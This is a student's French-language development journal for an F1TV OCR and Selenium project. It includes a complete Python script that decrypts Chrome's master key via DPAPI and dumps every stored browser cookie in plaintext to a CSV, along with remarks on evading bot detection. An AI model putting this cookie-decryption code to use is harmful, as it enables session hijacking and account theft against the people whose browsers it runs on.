c'est une tr\u00e8s belle am\u00e9lioration pour pas tr\u00e8s ch\u00e8r mais bon c'est un peu b\u00eate... Bon je pense que 2-300ms c'est une dur\u00e9e correcte surtout que ca n'est appel\u00e9 qu'une fois pour le lancement. On peut passer \u00e0 la suite maintenant. Alors il y a un grand soucis avec la parallellisation de l'OCR... Tesseract n'est pas par d\u00e9faut une classe \"Thread safe\" ce qui veut dire que je ne peut utiliser de parallell.Foreach sur mes windows pour acc\u00e8l\u00e8rer le traitement drastiquement. Je pourrais par exemple avoir une instance de Tesseract par window sauf que cela fait 20 pilotes * 9 windows chacuns ce qui donne 180 instances ce qui n'est tout simplement pas raisonnable. Je vais donc essayer de voir avec l'utilisation de methodes asynchrones qui me permettraient de faire un genre de flux tendu de reconnaissance. J'avoue que la je navigue un peu \u00e0 vue, je me base sur diff\u00e9rentes infos que je trouve sur des sites un peu perdus et sur chatGPT, j'esp\u00e8re que j'arriverai \u00e0 trouver une solution car 10 secondes de reconnaissance c'est vraiment beaucoup trop. Alors le soucis avec un Engine unique entre toutes les windows c'est qu'il n'est pas possible de process plusieurs images \u00e0 la fois. Je vais donc retirer l'engine unique pour voir si en cr\u00e9er un par window me permet de passer en multithreading. La grande question sera : Est-ce que les ressources suppl\u00e9mentaires que vont prendre la cr\u00e9ation de tous ces engines va compenser enti\u00e8rement le temps gagn\u00e9 avec la paralellisation. Pour stocker les donn\u00e9es dans un premier temps je vais cr\u00e9er un objet DriverData. Ce qu'il y a de pratique avec ca, c'est que je pourrais ajouter du code de v\u00e9rification de certaines donn\u00e9es directement dedans avant de les donner \u00e0 la suite du programme. Et on peut m\u00eame imaginer une impl\u00e9mentation d'une liste de DriverData pour avoir l'historique. Ce qui serait cool ca serait de grouper toutes ces data avec un num\u00e9ro de tour. Placer ensuite la liste de Data dans une DB serait ainsi super simple. Mais il va falloir savoir quoi mettre, quelles infos sont redondantes et prendre en compte le fait que un tour affich\u00e9 sur la page de la F1TV n'est accompli que par certains des premiers pilotes. D'autres pilotes peuvent \u00eatre dans des tours pr\u00e9c\u00e9dents si ils ont du retard. Il faudra r\u00e9fl\u00e9chir \u00e0 cela quand je viendrai au mod\u00e8le. Bon pour y arriver j'ai du faire de gros changements et le r\u00e9sultat n'est peut-\u00eatre pas aussi cool que ce que j'aurais voulut... Voici un petit point sur les performances maintenant J'ai \u00e9galement d\u00e9sactiv\u00e9 le dump d'images. Pour le moment j'ai tout mis en commentaire mais cela pourrait \u00eatre int\u00e9ressant de faire en sorte de pouvoir l'activer en changeant une ou deux variables Au d\u00e9marrage : Loading - 113ms Splitting d'images - 14ms Ocr - 7s En passant d'une image \u00e0 l'autre : Loading - 113ms Splitting d'images - 13ms Ocr - 5s Alors clairement les stats montrent qu'il y a eu un changement mesurable mais bon je pensais pouvoir en gagner un peu plus... Je soupconne la cr\u00e9ation d'engines d'\u00eatre \u00e0 l'origine de ces performances presque d\u00e9cevantes. Autre soucis, il semble que plus je change d'image plus la detection est lente et plus je consomme de RAM. Il va falloir que je travaille encore un peu. J'ai tent\u00e9 de mettre un stopwatch sur une des cr\u00e9ations d'engine Tesseract et le r\u00e9sultat me parait fou... Plus d'une seconde c'est dingue. J'ai test\u00e9 dans d'autres endroits du code et effectivement il semble que la cr\u00e9ation d'un engine prenne entre une et deux secondes ce qui est une ETERNITEE what ! Donc il faut optimiser tout ca. Une id\u00e9e serait de d\u00e9composer le threading mais cela me demanderait un gros refactor et je n'ai pas envie d'en refaire un la... Sinon, une fois qu'ils sont cr\u00e9\u00e9s ils ne prennent pas de temps du tout. Cr\u00e9er une fois tous les engines et ensuite les utiliser pourrait \u00eatre une bonne id\u00e9e. Cela prendrait longtemps au load mais ensuite les reconnaissances devraient \u00eatre super rapides. Ok alors ca c'est d\u00e9ja plus ce \u00e0 quoi je m'attendais ! On est de nouveau \u00e0 plus de 10s de loading time mais on est descendu \u00e0 deux secondes par OCR. (Bon autre soucis, l'utilisation de la RAM est ridicule plus de 2gb mais ce qui m'inqui\u00e8te c'est que j'ai l'impression qu'elle augmente plus on change d'image) J'ai r\u00e8gl\u00e9 (en partie) le soucis en obligeant le GC (Garbage Collector) \u00e0 collecter apr\u00e8s chaque detection. m\u00eame apr\u00e8s 50 detections l'utilisation de la ram se stabilize autour des 2GB. Bon en paralellisant la cr\u00e9ation des Engines le soucis c'est que cela demande d'allouer beaucoup trop de m\u00e9moire d'un coup alors le programme se fige pendant genre cinq secondes avant de tout cr\u00e9er. Du coup m\u00eame si la cr\u00e9ation est plus rapide, on se retrouve avec un temps total plus long... Je pense que l'on va devoir se contenter de ces dix secondes. Bon la j'allais tenter de faire la documentation mais je viens de me rendre compte que la detection de temps au tour est pas vraiment encore id\u00e9ale... J'ai r\u00e9ussi \u00e0 changer un petit peu le programme de reconnaissance pour rendre la reconnaissance un peu meilleure mais cela a drastiquement augment\u00e9 le temps requis pour d\u00e9coder... On arrive \u00e0 3.5 secondes. Je vais tenter de rajouter un peu de parralell processing sur les boucles de traitement voir si cela peut aider. Alors effectivement cela aide pas mal, on arrive maintenant \u00e0 faire une detection presque tout le temps en dessous de la seconde. Et j'ai aussi du changer un peu le fonctionnement de la detection des Temps au tour. Et voila je pense que je vais m'arr\u00eater la pour la partie d\u00e9codage. Je ne pense pas que je peux facilement faire mieux que ca et il faut que j'avance dans d'autres parties du projet. Je vais pouvoir commencer \u00e0 documenter un peu toute la partie OCR. Il faut que je prenne le temps de le faire bien car c'est la partie la plus int\u00e9ressante du projet et ou je pense que j'aurai le plus essay\u00e9 de choses qui vallent le coup d\u00eatres racont\u00e9es. J'ai aussi pass\u00e9 pas mal de temps sur le poster du projet. J'avais fait des croquis au crayon de ce \u00e0 quoi je pensais, cependant apr\u00e8s de longues discussions avec M.Garcia ils n'\u00e9taient pas forc\u00e9ment tr\u00e8s bons car ils ne repr\u00e9sentent pas assez bien le fonctionnement du projet et sont un peu trop marketings. Du coup j'ai fait une premi\u00e8re version au propre : \"Poster V1\" Mais je n'\u00e9tais pas forc\u00e9ment content du r\u00e9sultat et il manquait des choses je trouve comme par exemple l'utilisation de Selenium. J'ai donc repass\u00e9 des heures \u00e0 faire une seconde version : \"Poster V2\" La police d'\u00e9criture n'est pas encore la bonne mais cela va venir. Mais je pr\u00e9f\u00e8re d\u00e9ja beaucoup cette version \u00e0 la premi\u00e8re. Je ne sais pas encore si la version finale sera une version plus travaill\u00e9e de ce poster ou compl\u00eatement autre chose mais pour l'instant je suis \u00e0 peu pr\u00e8s content de cette version. Je le trouve un tout petit peu trop brouillon ou avec trop d'infos mais il m'a \u00e9t\u00e9 de nombreuses fois reproch\u00e9 de ne pas assez montrer le fonctionnememt interne et je ne peux pas faire plus simple. L'ajout des nombres pour compartimenter le projet ajoute de la structure mais je me demande si cela suffit. Maintenant que je suis \u00e0 peu pr\u00e8s content de mon code pour l'OCR je vais commencer sa documentation. (Uniquement son fonctionnement interne pas comment s'en servir car cela va changer) Bon j'ai cr\u00e9\u00e9 u nouveau projet selenium mais m\u00eame avec les bonnes libraries je n'arrivais pas \u00e0 faire fonctionner firefox j'avais toujours une erreur \"OpenQA.Selenium.WebDriverException: 'Cannot start the driver service on http://localhost:51481/'\" et j'ai pu r\u00e8gler le probl\u00e8me en t\u00e9l\u00e9chargeant directement le gecko driver depuis le git https://github.com/mozilla/geckodriver/releases et utiliser le fichier directement dans le service : var service = FirefoxDriverService.CreateDefaultService(AppDomain.CurrentDomain.BaseDirectory+@\"geckodriver-v0.27.0-win32\\geckodriver.exe\"); FirefoxOptions options = new FirefoxOptions(); var driver = new FirefoxDriver(service,options); Le seul probl\u00e8me c'est que du coup il faut tout le temps d\u00e9placer le fichier dans le dossier bin si je clone le projet. Il faudra faire un installeur dans la version finale qui s'occupe de tout je pense. Je me suis dit que j'allais garder la doc pour le retour des vacances quand j'aurai un bureau un clavier et un setup complet un peu propres. Bon il va falloir que je parle de la r\u00e9cup\u00e9ration de cookie. J'ai d\u00e9ja pu travailler lors d'un poc sur la meilleure facon de prendres des screenshots de la F1TV : Avoir une page chrome ouverte avec le feed en plein \u00e9cran et un programme qui prend des captures d'\u00e9crans. Avoir une cam\u00e9ra qui prend en photo l'\u00e9cran au cas ou chrome et Firefox emp\u00eachent la prise de captures d'\u00e9crans. R\u00e9cup\u00e8rer directement le feed en faisant du reverse engeneering de la plateforme. Simuler un chrome en background qui prenne des screenshot sans qu'on aie \u00e0 le voir. Dans toutes ces options, je dirais que la pire \u00e9tait celle de la cam\u00e9ra qui filme l'\u00e9cran, mais \u00e0 l'\u00e9poque c'\u00e9tait encore envisageable comme solution de dernier recours. Le soucis de cette solution c'est l'horreur que serait la partie OCR avec une image de tr\u00e8s mauvaise qualit\u00e9. Une autre option qui m'aurait vraiment emb\u00eat\u00e9 aurait \u00e9t\u00e9 de devoir garder une page de Chrome ou Firefox ouverte quelque part sur un \u00e9cran pour que le programme puisse prendres des captures d'\u00e9crans. C'est de loin l'option la plus simple et la plus logique mais elle poss\u00e8de pour moi de tr\u00e8s gros points noirs : On ne peut pas certifier l'int\u00e9grit\u00e9 des donn\u00e9es car l'utilisateur a le contr\u00f4le total sur le feed. Il peut mettre pause, avancer, reculer, tout casser sans faire expr\u00e8s en ouvrant autre chose sur son ordi qui se mette pile devant. Bref c'est un peu bancale. Et surtout on bloque une partie non significative de l'\u00e9cran de l'utilisateur avec des infos redondantes. Et je peux vous dire que quand je commente la F1 j'ai besoin de beaucoup d'informations et que chaque centim\u00e8tre d'\u00e9cran est crucia\u00e9 ! Alors avoir un \u00e9cran complet bloqu\u00e9 est juste un point bloquant qui m'emp\u00eacherait d'utiliser l'app aussi bonne soit-elle dans ses pr\u00e9dictions. Mais bon si aucune autre methode ne fonctionne ce qui est bien c'est que celle la est plut\u00f4t simple \u00e0 mettre en place. Ensuite reverse engeneer le feed serait l'option la plus classe, cependant c'est la plus complexe et la plus bancale au niveau l\u00e9gal haha. L'id\u00e9e serait de r\u00e9cup\u00e8rer le lien vers le broadcast g\u00e9n\u00e9ral et de comprendre comment il fonctionne pour le d\u00e9coder nous m\u00eame pendant un Grand Prix. Seuls soucis : Il n'est pas possible de faire des tests en dehors des periodes de Grand Prix (Et je rappelle que c'est des p\u00e9riodes ou je travaille en plus) Difficile de faire un syst\u00e8me qui marche pareil pour les rediffusions et les lives. (En effet les liens des rediff sont beaucoup plus simple \u00e0 r\u00e9cup\u00e8rer mais ne fonctionnent pas du tout pareil et pour tester l'app il est essentiel de pouvoir s'entrainer sur des anciens Grand Prix) Dernier GROS soucis, je ne sais tout simplement pas faire ca lol. Je ne sais pas comment faire. Peut-\u00eatre que avec des profs qui m'aident et chat gpt ainsi qu'internet je pourrais potentiellement n\u00e9gocier un truc mais c'est hautement improbable et cela serait une perte de temps folle si je n'y arrive pas. Derni\u00e8re option que je trouve la plus s\u00e9duisante. Simuler une instance de Chrome ou de Firefox (Le soucis avec chrome c'est qu'il impl\u00e9mente l'utilisation de DRM dans les vid\u00e9os qui fait qu'il est tr\u00e8s difficile de passer outre la s\u00e9curit\u00e9 avec un bot) pour ensuite prendre des captures d'\u00e9crans automatiquement. Cette solutions offre pleins d'avantages : Pas de place prise sur l'\u00e9cran L'int\u00e9grit\u00e9 des donn\u00e9es est assur\u00e9e car c'est le programme qui d\u00e9cide d'ou partir et de si il met pause ou non C'est une option complexe mais beaucoup moins que le reverse engeneering Elle permet de ne demander presque aucun input de la part de l'utilisateur. Mais elle pose quelques probl\u00e9matiques : Comment se connecter automatiquement sans \u00eatre detect\u00e9 par un Bot et sans demander \u00e0 l'utilisateur ses identifiants (Pour des raisons \u00e9videntes qui sont : QUI VA METTRE SES IDENTIFIANTS SUR UNE VIEILLE APP COMME LA MIENNE??) Comment faire en sorte que le programme prenne les meilleures captures dans la meilleure qualit\u00e9 et en plein \u00e9cran. Mais j'ai d\u00e9cid\u00e9 de partir sur cette option. Pour ce faire j'utilise Selenium. J'ai pu tester Puppetteer Sharp et m\u00eame si dans un premier temps j'ai pu avancer asez vite, malheureusement il y a des bugs qui rendent son utilisation impossible dans notre contexte. J'ai donc d\u00e9cid\u00e9 de tout faire en utilisant un portage de Selenium dans mon programme. Voici un exemple de code qui va ouvrir FireFox et qui va lancer un RickRoll var service = FirefoxDriverService.CreateDefaultService(AppDomain.CurrentDomain.BaseDirectory+@\"geckodriver-v0.27.0-win32\\geckodriver.exe\"); service.Host = \"127.0.0.1\"; service.Port = 5555; FirefoxOptions options = new FirefoxOptions(); options.AddArgument(\"--disable-headless\"); var driver = new FirefoxDriver(service,options); driver.Navigate().GoToUrl(\"https://www.youtube.com/watch?v=dQw4w9WgXcQ&autoplay=1&mute=1\"); Dans cet exemple on d\u00e9sactive le \"Headless\" pour qu'on puisse voir ce que fait l'app car sinon tout est invisible. Alors dans les faits la vid\u00e9o youtube ne se lance pas du tout car il y a des pubs et des prompts de cookies que l'on doit accepter etc... ce qui montre les diff\u00e9rents challenges que l'on va devoir surmonter pour vraiment faire ce que l'on veut. Mais un petit d\u00e9tail extr\u00eamement important, la F1TV est un programme payant un peu comme netflix. Ce qui veut dire que pour acc\u00e8der au contenu il faut \u00eatre connect\u00e9. Sauf que une instance de firefox cr\u00e9\u00e9 par Selenium est comme une page de naviguation priv\u00e9e, ce qui veut dire que si on va sur la page de la F1TV on est pas connect\u00e9s. Je pourrais tout \u00e0 fait demander \u00e0 l'utilisateur de me donner ses identifiants pour que j'aille ensuite automatiquement me connecter sauf que cela pose deux soucis: Personne ne voudra mettre ses identifiants sur mon programme La page de login de la F1TV a \u00e9t\u00e9 prot\u00e8g\u00e9e avec la meilleure technologie de detection de bots que je connaisse. Presque aucun site n'arrive \u00e0 me detecter sauf eux ! Donc c'est tout simplement impossible d'utiliser cette technique. Ensuite je me suis rappel\u00e9 que ce que la page stocke pour me permettre de rester connect\u00e9 ce sont des cookies. Et si je mets le bon cookies dans Selenium alors je serai connect\u00e9. Dans un premier temps je voulais faire un syst\u00e8me ou l'utilisateur irait prendre dans son chrome son cookie et le copie colle dans mon programme mais c'est immonde. C'est alors que vient la partie r\u00e9cup\u00e8ration de cookies ! Tous les cookies de chrome sont stock\u00e9s dans une base de donn\u00e9es SQLITE. On pourrait se dire Banco il suffit d'aller dedans et de retrouver tous les cookies et se connecter. Sauf que, pas b\u00eates, les \u00e9quipes de chrome ont d\u00e9cid\u00e9 que c'\u00e9tait une bonne id\u00e9e d'encoder les cookies pour que tout le monde ne puisse pas venir y mettre son nez... En effet les cookies peuvent contenir des informations importantes. Cela fait que pour utiliser ces cookies il faut pouvoir les d\u00e9coder. Mon hypoth\u00e8se a \u00e9t\u00e9 que si ces cookies peuvent \u00eatre lus par Chrome m\u00eame hors connexion, c'est que la cl\u00e9 de d\u00e9codage existe sur l'appareil et qu'il suffit de la trouver. ET C'EST LE CAS! Apr\u00e8s pas mal de recherches j'ai pu voir que la cl\u00e9 de d\u00e9codage existe bel et bien et qu'il suffit de la d\u00e9coder en utilisant la librairie DPAPI pour la lire. Avec cette cl\u00e9 on peut ensuite d\u00e9coder les cookies et leurs valeurs ce qui veut dire qu'il est th\u00e9oriquement possible d'automatiser le processus sans que l'utilisateur n'aie rien \u00e0 faire. J'ai d\u00e9cid\u00e9 de faire la partie r\u00e9cup\u00e8ration en python pour deux raison : Je n'arrivais pas \u00e0 trouver une bonne impl\u00e9mentation de DPAPI en C# qui me permettait de d\u00e9coder la cl\u00e9. Il existe beaucoup plus de documentation en Python pour ce qui est de la cryptographie et donc si Chrome change de fonctionnement il sera beaucoup plus simple de changer cette partie en particulier sans avoir \u00e0 recompiler le code C#. J'ai donc avec l'aide d'internet et de ChatGPT cr\u00e9\u00e9 ce script : def get_master_key(): with open( os.getenv(\"localappdata\") + \"\\\\Google\\\\Chrome\\\\User Data\\\\Local State\", \"r\" ) as f: local_state = f.read() local_state = json.loads(local_state) master_key = base64.b64decode(local_state[\"os_crypt\"][\"encrypted_key\"]) master_key = master_key[5:] # removing DPAPI master_key = win32crypt.CryptUnprotectData(master_key, None, None, None, 0)[1] print(\"MASTER KEY :\") print(master_key) print(len(master_key)) return master_key def decrypt_payload(cipher, payload): return cipher.decrypt(payload) def generate_cipher(aes_key, iv): return AES.new(aes_key, AES.MODE_GCM, iv) def decrypt_password(buff, master_key): try: iv = buff[3:15] payload = buff[15:] cipher = generate_cipher(master_key, iv) decrypted_pass = decrypt_payload(cipher, payload) decrypted_pass = decrypted_pass[:-16].decode() # remove suffix bytes return decrypted_pass except Exception: # print(\"Probably saved password from Chrome version older than v80\\n\") # print(str(e)) return \"Chrome < 80\" master_key = get_master_key() cookies_path = Path( os.getenv(\"localappdata\") + \"\\\\Google\\\\Chrome\\\\User Data\\\\Default\\\\Network\\\\Cookies\" ) if not cookies_path.exists(): raise ValueError(\"Cookies file not found\") with sqlite3.connect(cookies_path) as connection: connection.row_factory = sqlite3.Row cursor = connection.cursor() cursor.execute(\"SELECT * FROM cookies\") with open('cookies.csv', 'a', newline='') as csvfile: fieldnames = ['host_key', 'name', 'value', 'path', 'expires_utc', 'is_secure', 'is_httponly'] writer = csv.DictWriter(csvfile, fieldnames=fieldnames) if csvfile.tell() == 0: writer.writeheader() for row in cursor.fetchall(): decrypted_value = decrypt_password(row[\"encrypted_value\"], master_key) writer.writerow({ 'host_key': row[\"host_key\"], 'name': row[\"name\"], 'value': decrypted_value, 'path': row[\"path\"], 'expires_utc': row[\"expires_utc\"], 'is_secure': row[\"is_secure\"], 'is_httponly': row[\"is_httponly\"] }) print(\"Finished CSV\") Ce programme va faire tout ce que j'ai expliqu\u00e9 et va ensuite stocker les r\u00e9sultats dans un CSV pour qu'il soit facile d'y acc\u00e8der depuis le C#. Alors oui cela pose certaines questions de s\u00e9curit\u00e9. Car en effet je prend tous les cookies, les d\u00e9code et les stocke. Ce qui veut dire que je pourrais tout \u00e0 fait envoyer ces donn\u00e9es quelque part, par exemple un compte Netflix, et me rincer. Si je devais rendre le projet ouvert au public je pense qu'il faudra que cela soit mentionn\u00e9 clairement et que le projet soit open source pour que les utilisateurs puissent verifier que je ne fais pas ca. Maintenant de l'autre c\u00f4t\u00e9 j'ai juste \u00e0 lire le CSV et le tour est jou\u00e9 ! (Trouver cette solution m'a pris une semaine de vacances \u00e0 l'\u00e9poque) Bon j'ai r\u00e9ussi \u00e0 faire le programme se connecter et naviguer etc.. Par contre quelque chose que j'ai voulu ajouter et qui m'a pris pas mal de temps c'est de faire en sorte de pouvoir selectionner la qualit\u00e9. Pour changer la qualit\u00e9 du feed il faut cliquer sur settings et ensuite prendre le menu deroulant et selectioner 1080p. Le soucis c'est le que la value du select est jamais la m\u00eame. Elle commence toujours pas \"1080_\" mais ensuite ca peut \u00eatre \"1080_45930285\" ou \"1080_56801\" la suite est apparemment random. J'ai donc du utiliser ce code pour le selectioner quand m\u00eame : IWebElement settingsButton = driver.FindElement(By.ClassName(\"bmpui-ui-settingstogglebutton\")); settingsButton.Click(); IWebElement selectElement = driver.FindElement(By.ClassName(\"bmpui-ui-videoqualityselectbox\")); SelectElement select = new SelectElement(selectElement); IWebElement selectOption = selectElement.FindElement(By.CssSelector(\"option[value^='1080_']\")); selectOption.Click(); Sauf que pour que cela marche je dois avant cliquer sur le bouton des settings le probl\u00e8me c'est qu'il est invisible alors on doit le faire apparaitre. J'ai tent\u00e9 de le faire aparaitre en bougeant la souris, en cliquant \u00e0 un endroit pr\u00e9cis, impossible de le faire marcher correctement. Puis j'ai eu l'id\u00e9e de mettre pause en envoyant un appui sur la touche Espace et ca a permit de d\u00e9couvrir le bouton et permettre qu'on clique dessus. Ca peut paraitre tout b\u00eate mais rien que ca, ca m'a pris un temps consid\u00e9rable. Bon pour ce qui est du timecode de la vid\u00e9o. Je pense qu'il serait trop complexe de faire en sorte que selenium change le slider de progression de la vid\u00e9o. Alors j'ai fait quelques tests et apparemment, si on quitte la F1TV sur un timecode de la vid\u00e9o que on donne au programme, comme il r\u00e9cup\u00e8re tous les cookies de la F1TV il commencera de la. Donc si on veut utiliser le programme avec des Grand Prix ayant d\u00e9ja eu lieu, on peut le faire, seulement il faudra juste au pr\u00e9alable avoir choisit le bon timecode dans le page de la F1TV avant de le lancer. Ce qui est int\u00e9ressant c'est que la page de la F1TV ressemble \u00e0 ca au d\u00e9part : \"Empty F1TV\" Je pense qu'une bonne id\u00e9e serait de dire au programme que c'est la grille de d\u00e9part et ensuite d\u00e8s qu'il d\u00e9tecte un secteur il sait que la course a commenc\u00e9. Lundi 24 Avril 2023 Aujourd'hui c'est jour de documentation. J'ai pas mal travaill\u00e9 pendant les vacances mais je n'ai pas encore pu faire de vraie documentation correcte du fonctionnement. Du coup je vais m'en charger aujourd'hui et peut-\u00eatre un peu demain. Ok normalement je ne devrais faire que de la documentation mais je ne peux pas passer \u00e0 cot\u00e9 de ca... Le probl\u00e8me que j'ai avec les pneus ou parfois il d\u00e9tecte un H au lieu d'un '11' et ce genre de choses c'est \u00e0 cause de ma methode \"RemoveBG\" Qui va retirer tous les pixels plus sombres que le background. Sauf que cela va aussi retirer des pixels dans le chiffre lui m\u00eame et qui va donc defigurer les 11 : \"diformed 11\" \"diformed 11\" J'ai r\u00e9ussi \u00e0 les changer en : \"less diformed\" \"less diformed\" Mais au final cela n'a pas augment\u00e9 la pr\u00e9cision de la reconnaissance. Je pense que je vais donc devoir encore changer. Je pense que une bonne facon de trouver serait dabord de trouver la couleur du pneu. Et si il n'y a pas assez de couleur alors c'est que le pneu contient une lettre. Le but est d'arr\u00eater de chercher des lettres ou des chiffres. Comme ca les 11 arr\u00eateront d'\u00eatre pris pour des 'H' En fait on peut faire encore plus simple que ca. On peut simplement regarder la couleur dominante et determiner le pneu. En effet m\u00eame si il y a une lettre sur fond noir pour d\u00e9crire le pneu, mon methode de r\u00e9cup\u00e8ration de la couleur dominante ommet les pixels trop noirs alors il est quand m\u00eame possible de determiner le type de pneus. Et tout simplement si il n'arrive pas \u00e0 lire le chiffre c'est que c'est une lettre et que donc on est \u00e0 0 tours. Cela marche plut\u00f4t bien et cela simplifie pas mal le processing. Voila, la je vais me remettre \u00e0 la documentation sinon je vais encore prendre du retard. Mardi 25 Avril 2023 Encore une fois j'ai pris du temps de doc pour changer des choses sur la partie OCR. Mais en m\u00eame temps en documentant je vois des choses que j'ai soit mal fait soit que je pourrais faire mieux en changeant tr\u00e8s peu de choses. J'\u00e9sp\u00e8re que les changement que j'ai fait vont aider au moins \u00e0 la coh\u00e9rence du code et un peu pour les performances. Il semble que dans les conditions que j'ai test\u00e9 le nombre de tour soit plut\u00f4t fiable mais je pense que je devrai faire un peu de travail en aval dans la r\u00e9cup\u00e9ration de ces donn\u00e9es car je sens que cela va poser probl\u00e8me quelques fois. Je pense que en utilisant bien l'historique on peut potentiellement se passer de l'utilisation de ce chiffre pas toujours compl\u00eatement fiable. Mais sinon aujourd'hui c'est encore une fois un gros jour de doc. J'essaie d'expliquer les diff\u00e9rents proc\u00e9d\u00e9s avant de les oublier. J'essaie aussi de donner un maximum d'exemples sous formes de photos interm\u00e9diaires mais ca me prend pas mal de temps car il faut que j'ajoute un peu partout dans le code des lignes pour sortir des images interm\u00e9diaires. En plus de la documentation je me suis aussi beaucoup occup\u00e9 de nettoyer mon code et je suis assez content par ce que m\u00eame en ayant du rajouter des couches de complexit\u00e9 pour mieux reconnaitres les temps au tour j'arrive \u00e0 un temps de processing parfois en dessous des 2 secondes ce que je trouve honorable. Quand j'aurai finit de nettoyer tous mes fichiers je ferai une release sur gitea et ce sera la version que j'utiliserai quand je voudrai faire un merge avec les autres parties du projet. J'ai beaucoup beaucoup boss\u00e9 aujourd'hui et je sui bien mort. Faire autant de documentation et de nettoyage de code c'est pas forc\u00e9ment bon pour le cerveau je crois. J'ai besoin d'une sieste. Demain je pense que je vais commencer \u00e0 avancer sur la partie r\u00e9cup\u00e8ration des images. Je sais que la je fais un peu passer les tests \u00e0 la trappe mais d\u00e9ja j'en ai fait tout le long du d\u00e9veloppement de OCR_DECODE et il faut vraiment que j'avance, quitte \u00e0 revenir dessus quand j'aurai merge les deux projets ensemble. 26 Avril 2023 Aujourd'hui je vais devoir m'occuper de la partie r\u00e9cup\u00e9ration des images. J'ai d\u00e9ja eu l'occasion d'avancer sur ce projet pendant mopn poc et mes vacances. Donc la le but ca va \u00eatre de voir ce qui manque comme v\u00e9ritables features et ensuite je vais pouvoir m'occuper de la vue et de son int\u00e9gration avec le d\u00e9codage. Ok donc maintenant que j'au un programme qui arrive \u00e0 prendre des images depuis la F1TV correctement et en bonne r\u00e9solution. Je pense qu'il est temps de passer \u00e0 l'impl\u00e9mentation de la Forme que ca va prendre. C'est important de se poser au moins cinq minutes la question de comment je pr\u00e9vois de faire car m\u00eame si ca n'est pas la version finale, cette derni\u00e8re prendra tr\u00e8s fort inspiration du desing que je vais faire. Dans cette form j'aurais besoin de : Pouvoir selectionner un Grand Prix en ins\u00e8rant l'URL du feed. Pouvoir lancer la calibration si besoin Indiquer le titre et la date du Grand Prix Indiquer si le Grand Prix vient de commencer ou si il y a d\u00e9ja un certain nombre de tours lanc\u00e9s. Et c'est \u00e0 peu pr\u00e8s tout en fait... J'ai tellement pouss\u00e9 pour avoir un programme qui fait tout tout seul que il ne me faut pas grand chose de plus. Je pense que ce qui serait pas mal ca serait du coup d'utiliser ce temps pour bien impl\u00e9menter la calibration qui elle aura besoin d'une UI un peu plus bal\u00e8ze. On pourrait m\u00eame imaginer que la calibration fasse partie int\u00e9grante des settings... Ca serait peut-\u00eatre bien que quand l'application se lance on se retrouve sur la page principale d'affichage de donn\u00e9es et qu'on puisse simplement cliquer sur la page options qui contient la page calibration et qui permet de rentrer les infos du Grand Prix. Je pense que je vais faire ca. Voici l'interface que j'ai d\u00e9velopp\u00e9e pour regrouper tout ca : \"Screen\" La police le style le placement et les couleurs ne sont pas d\u00e9finitfs, cependant je pense que c'est un bon d\u00e9but. Le but maintenant va \u00eatre de permettre de faire fonctionner la calibration et la r\u00e9cup\u00e8ration d'images. Si j'arrive \u00e0 faire fonctionner ces deux choses sur un m\u00eame projet avant la fin de la semaine cela serait super ! Bon J'ai pu avancer sur l'int\u00e8gration de Selenium mais cela prend un peu de temps car je veux impl\u00e9metner un moyen de pouvoir prendre une Screenshot \u00e0 nimporte quel moment et pas juste en boucle. Demain je finis de faire fonctionner ca et ensuite je commence le cablage du reste. Jeudi 27 Avril 2023 C'est assez dur de faire l'importation car il y a des petites diff\u00e9rences qui obligent \u00e0 presque tout r\u00e9\u00e9crire. En fait le programme de calibration avait d\u00e9ja impl\u00e9ment\u00e9 la fonction de Windows et de Zones mais il fonctionnait juste assez diff\u00e9remment pour qu'il faille tout refaire. La je suis en train de perdre \u00e9norm\u00e9ment de temps \u00e0 cause d'un soucis de coordonn\u00e9es. J'ai repris le code de la calibration pour detecter ou l'utilisateur a cliqu\u00e9 pour cr\u00e9er les zones. Cependant, je n'arrive pas \u00e0 le faire fonctionner correctement. La zone est tout le temps d\u00e9cal\u00e9e en haut et en bas mais pas de la m\u00eame facon. En haut, la valeur Y est trop grande alors que en bas la valeur Y est trop petite... Je ne comprends pas bien pourquoi. Si c'\u00e9tait un simple d\u00e9calage cela ne serait pas compliqu\u00e9 \u00e0 g\u00e8rer mais la... J'ai un soucis \u00e9galement avec la r\u00e9solution des screenshots que je r\u00e9cup\u00e8re en full Headless. Voici un exemple de r\u00e9solution que j'arrive \u00e0 r\u00e9cup\u00e8rer sans le headless : \"High Res\" \"Low Res\" Il y a clairement un soucis et le probl\u00e8me c'est que avec une r\u00e9solution pareille, impossible de faire une reconnaissance correcte. BON J?EN PEUX PLUS LA. Ca fait des heures que je bosse sur ce probl\u00e8me d\u00e9bile et impossible de trouver une solution. J'ai essay\u00e9 cinq facons de forcer le browser headless a prendre une plus haute r\u00e9solution aucune ne fonctionne je ne comprends pas. A chaque fois que je me retrouve avec une r\u00e9solution de 1366 x 768 Ou une variante de basse r\u00e9solution du style. J'en peux plus je ne trouve aucune r\u00e9ponse sur internet ni m\u00eame avec chatGPT. Super... La seule chose que j'ai pu faire qui change quelque chose fait que les images font maintenant du 926x517... j'ai un peu envie de commentre un crime de guerre au plus vite. Vendredi 28 Avril 2023 Une des solutions que je n'ai pas encore essay\u00e9 est de changer ma version de GeckoDriver. Sauf que ca m'oblige \u00e0 changer les versions de mes libraries ce qui est tr\u00e8s p\u00e9nible, je vais continuer le debugging dans le projet Selenium_clean. Il faut savoir que la librairie de Selenium que j'utilise est bloqu\u00e9e en 0.27 ce qui fait que je ne peux utiliser qu'une version obsol\u00e8te du Gecko Driver. J'ai tent\u00e9 de changer vers une version en 64 bits du GeckoDriver 0.27 mais pareil, je me retrouve toujours avec des images de M. J'essaie toutes les solutions que je trouve sur internet aucune ne convient c'est infernal. J'essaie de changer la r\u00e9solution DPI, j'essaie de changer les param\u00eatres par d\u00e9faut des player de Firefox, j'essaie de changer la r\u00e9solution pendant et au d\u00e9but de l'execution IMPOSSIBLE DE FAIRE MARCHER CETTE MERDE C'EST PAS POSSIBLE !!! J'ai essay\u00e9 avec chrome mais je ne peux pas l'utiliser car les DRM m'emp\u00eacheront de prendre des screenshot du flux vid\u00e9o. J'ai essay\u00e9 de faire tourner avec edge mais edge ne peut pas tourner en headless. JE VAIS DEVENIR FOUF FPWQOVMQEKOVNVIBDBJDAIVOBI. ET MAINTENANT JE N'ARRIVE PLUS A FAIRE DE PROJET AVEC SELENIUM VOIWQNV(UEWQBVU)WEQN=OEJNIVIUWVBWUEV ON CHERCHE A ME FAIRE PETER UN PLOMB C'EST PAS POSSIBLE GIWEGUWEQN VOICI UN EXEMPLE DU CODE QUE JE DEMANDE A UN NOUVEAU PROJET AVEC EXACTEMENT LES MEMES LIBRARIES INSTALLEES : // Create a new FirefoxDriver instance 